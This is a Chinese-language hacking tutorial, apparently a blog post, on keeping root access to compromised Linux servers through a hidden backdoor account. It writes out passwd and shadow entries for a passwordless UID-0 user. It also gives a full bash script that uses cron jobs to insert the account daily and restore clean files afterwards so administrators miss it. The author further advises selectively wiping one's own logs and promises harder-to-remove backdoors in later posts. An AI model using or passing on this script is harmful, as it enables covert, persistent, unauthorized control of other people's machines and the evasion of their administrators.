Linux隱藏帳戶

Linux系統後門技術(隱藏帳戶篇)
 
       每當我們歡天喜地的得到一個linux系統的服務器肉雞時,最大的願望就是能把它永遠留住。當然,永遠留住是不可能的,但是我們要儘量的不讓它飛走。這就要用到linux的後門技術了,這是項複雜的技術,本人水平有限不可能面面俱到,我只希望這一系列文章能爲大家提供一點思路,在您hacking的道路上打開一扇方便之門!
       言歸正傳,首先,給大家簡單介紹一下linux的系統後門。Linux後門的種類甚至比windows下的還要多,畢竟是GNU操作系統,後門製作的空間也會很大。常見的一些後門技術有隱藏S位shell腳本文件、增加root組用戶、記錄破解用戶密碼、替換系統網絡服務、可裝載內核模塊、rootkit工具包等等,這些技術一直被黑客們不斷的組合翻新利用着,如果大家想深入的學習一下linux後門,推薦大家到http://www.egocrew.de/這個網站去看看,那裏有比較新的後門技術和工具,並且很多工具都有源代碼。
       好了,書說簡短,下面讓我們具體的看一下如何來製作安裝和使用各種後門,今天是隱藏帳戶的添加和駐留,高手應該可以跳過不看了。現在,假設我們得到了一個linux肉雞的shell,並且已經獲得了root的權限,從最簡單的開始,通常的我們應當去添加個超級用戶。
用vi 編輯/etc/passwd文件,在單獨的一行中添入這樣一行信息“musicyxy:x:0:0::/:/bin/sh”,
如圖1
 
(圖1)
然後同樣vi編輯/etc/shadow文件,在單獨的一行中添加“musicyxy::13407:0:99999:7:::”,
如圖2
(圖2)
/etc/passwd和/etc/shadow是linux中存放用戶和密碼信息的兩個文件,用戶和密碼分開存放也是出於安全的考慮。編輯完成後,系統中就多了一個musicyxy用戶,它的權限只比root少一點點,密碼爲空,這樣下次我們進入這臺主機的時候就可以使用musicyxy這個用戶了。有很多linux的初學者會這樣問:“爲什麼修改了這兩個文件就多了個用戶?而且還會有ROOT組的權限?我平時是用useradd命令添加用戶的啊!”現在我就來給大家說明一下原理。
我們平時用的useradd和passwd命令是直接對/etc/passwd和/etc/shadow這個兩文件進行修改生效的。這兩個文件上面有很多字段,每個字段都有不同的意義,我下面來給大家詳細說明。/etc/passwd文件用來存放系統帳號信息,每個字段用“:”隔開,它們的內容分別是“用戶名:密碼:用戶ID:組ID:身份描述:用戶的家目錄:用戶登錄後所使用的SHELL”,現在大家明白了吧,linux就是通過讀寫這個文件來設置用戶信息的。/etc/shadow文件用來存放用戶密碼信息,其各個字段的意義爲“用戶名:密碼的MD5加密值:數字表示自系統使用以來口令被修改的天數:數字表示口令的最小修改間隔:數字表示口令更改的週期:數字表示口令失效的天數:數字表示口令失效以後帳號會被鎖定多少天:用戶帳號到期時間:保留字段尚未使用”。通過上面的說明相信大家都可以手動修改這兩個文件來設置帳戶了吧。現在我們的超級後門用戶是留下了,但是這樣明晃晃的添加用戶是不是太大膽了!我們不妨藉助其他的辦法來隱藏這個用戶,當然隱藏的方法很多,這要看你對linux的瞭解程度和hacking的思路。我來給大家介紹一種我自創的方法——“借屍還魂”。
思路是這樣的,利用crontab(計劃任務)在固定的時間做如下操作:首先我們把正常的passwd和shadow文件備份到別的地方,然後在原目錄僞造這兩個文件讓它們生效,最後將musicyxy:x:0:0::/:/bin/sh和musicyxy::13407:0:99999:7:::兩條信息追加到僞造的passwd和shadow文件中,然後在過一段時間後將原來的正常文件還原回/etc/目錄。這樣我們就可以在僞造文件生效的時間段內登陸系統,在不登陸的時候,僞造文件也會自動還原爲正常文件,這樣不容易被管理員發現,並且在一定程度上避免了正常用戶信息的損壞。舉個例子:我們可以把正常的文件放在/tmp/目錄中,然後利用計劃任務讓系統在每天的下午2-3點把僞造的後門文件放到/etc/目錄中,然後我們就在下午2-3點HACK進肉雞中操作,3點過後後門會自動清除,正常的文件會回到/etc目錄中,除非管理員在2-3點時查看/etc/passwd,否則很難發現後門,當然,別忘了在每次您登陸肉雞後要記得把日誌有選擇性的清除掉!也就是說把自己的日誌清除,保留其他用戶的日誌,關於這部分技術我會在以後的文章中告訴大家。
我把這個用戶後門寫成了shell程序,代碼如下:
#!/bin/bash
echo '40 11 * * * cat /etc/passwd > /dev/ttypwd' >> /etc/door.cron;
echo '40 11 * * * cat /etc/shadow > /dev/ttysdw' >> /etc/door.cron;
echo '41 11 * * * echo "musicyxy:x:0:0::/:/bin/sh" >> /etc/passwd' >> /etc/door.cron;
echo '41 11 * * * echo "musicyxy::9999:0:99999:7:::" >> /etc/shadow' >> /etc/door.cron;
echo '09 12 * * * cat /dev/ttypwd > /etc/passwd' >> /etc/door.cron;
echo '09 12 * * * cat /dev/ttysdw > /etc/shadow' >> /etc/door.cron;
echo '10 12 * * * rm -f /dev/ttypwd' >> /etc/door.cron;
echo '10 12 * * * rm -f /dev/ttysdw' >> /etc/door.cron;
service crond restart;
crontab /etc/door.cron;
以上就是一個具體的後門帳戶實現,我來給大家解釋一下這段代碼。
第一行是linux中shell程序的開頭標誌,代表代碼中所使用的SHELL。第二行是將“40 11 * * * cat /etc/passwd > /dev/ttypwd”這段信息追加到/etc/door.cron文件中。/etc/door.cron是用戶自定義的crontab列表文件,任務計劃就是依據這個文件的內容來執行的。它的編寫格式是* * * * * command ,前面的5個星分別代表分鐘(0~59),小時(0~23),日期(1~31),月份(1~12),星期(0~6),星後面加要執行的命令。那麼第二行所代表的意思就是在每天的11點40分運行cat /etc/passwd > /dev/ttypwd,後面的相信您也能看懂了,以此類推,運行到最後一行就是利用crontab命令讓文件生效。
       我們來看一下它的執行效果:
11點39分的時候/etc/passwd文件正常,沒有後門帳戶,如圖3.
 
 
 
(圖3)
11點42分,後門帳戶出現!多了一個ROOT組用戶信息musicyxy:x:0:0::/:/bin/sh!如圖4!
(圖4)
 
11點45分,我利用後門帳戶登錄成功,who am i命令顯示是ROOT用戶,權限很大,如圖5。
(圖5)
12點10分,後門帳戶自動隱形,和11點39分之前一樣,沒有什麼異常,但等到明天的11點40後門帳戶又會出現!如圖6
(圖6)
 
這個程序我在FC6和THIZ7.0下做過測試都沒問題,但是其他發行版可能需要作相應的更改,而且系統中一定要安裝了crond服務才能正常運行。到此,隱藏後門帳戶駐留成功!我的文章也要結束了,這篇文章非常的基礎,介紹了一些linux用戶密碼的知識,以及crontab命令的使用方式,完全都是SHELL級別的操作,適合新手學習,並且希望能給高手帶來一點思路!以後我會爲大家介紹更加隱蔽、更難清除、更高層次的後門,希望大家關注!今天就到這裏了

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章